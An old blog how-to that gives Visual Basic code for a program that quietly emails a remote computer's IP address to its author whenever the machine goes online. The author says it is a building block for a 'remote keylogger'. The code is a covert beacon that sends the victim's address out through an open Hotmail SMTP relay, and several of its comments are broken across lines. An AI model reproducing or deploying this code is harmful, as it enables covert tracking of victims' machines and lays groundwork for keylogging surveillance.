Make Remote Computer Email It's ip

by LeVoltz on 25. Jul, 2006 in How-To Share

What we will accomplish today is to make our program email the ip of a remote computer when ever they logon to the net, which has lots of uses. Like in my remote keylogger which i will post soon.

You will need:

A smtp control get by http://kensoft.netfirms.com/downloads/smtp.zip (only like 6kbs). You will have to have some VB programming skills. If you don’t then you should read up or wait for BotHack to soon post about them

Like always I will put the code then try to explain.

'general
Option Explicit
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Function Senmail()
Dim c As Long
For c = 1 To 30 'check 30 times
Dim ipadd As String
ipadd = Winsock.LocalIP 'get local ip
If ipadd <> "127.0.0.1" Then 'if your ip is not the default then
 you are online

With SMTP
.Server = "mail.hotmail.com" 'yeah hotmail opened
 their server to spam
mers 
.Port = 25
.MailFrom = "yourname@yahoo.com" 'using hotmail can be from anyhere
.MailTo = "receivers_name@hotmail.com" 'must be hotmail cause hotmail
 don't allow mail relaying to other domains
.NameFrom = "Me"
.NameTo = "You"
.Subject = "Test mail from h43k4z"
.Body = "test" 'can be string or read a text
 file to a variable and send it
.SendMail
End 'once it sends it will terminate
End With
Else 'If you are not on line then sleep
Sleep 199999
ipadd = "" 'clear ipadd to check for a fresh one
End If
Next c 'go trough the entire thing again
End
End Function

Well I decided to put the comments along the side cause it is really self explanatory,
what is hard here is the smtp control you will add to the project. What I can tell you is to look over it and it will all make sense to you. I got it from http://www.vbwinsock.com. This program has one problem and that is if the user is on a network it will not work properly cause their ip will not be 127.0.0.1, if this is the case then you will have to try with the api to check for internet connection which is also buggy. You can get the smtp control by Smtp Control.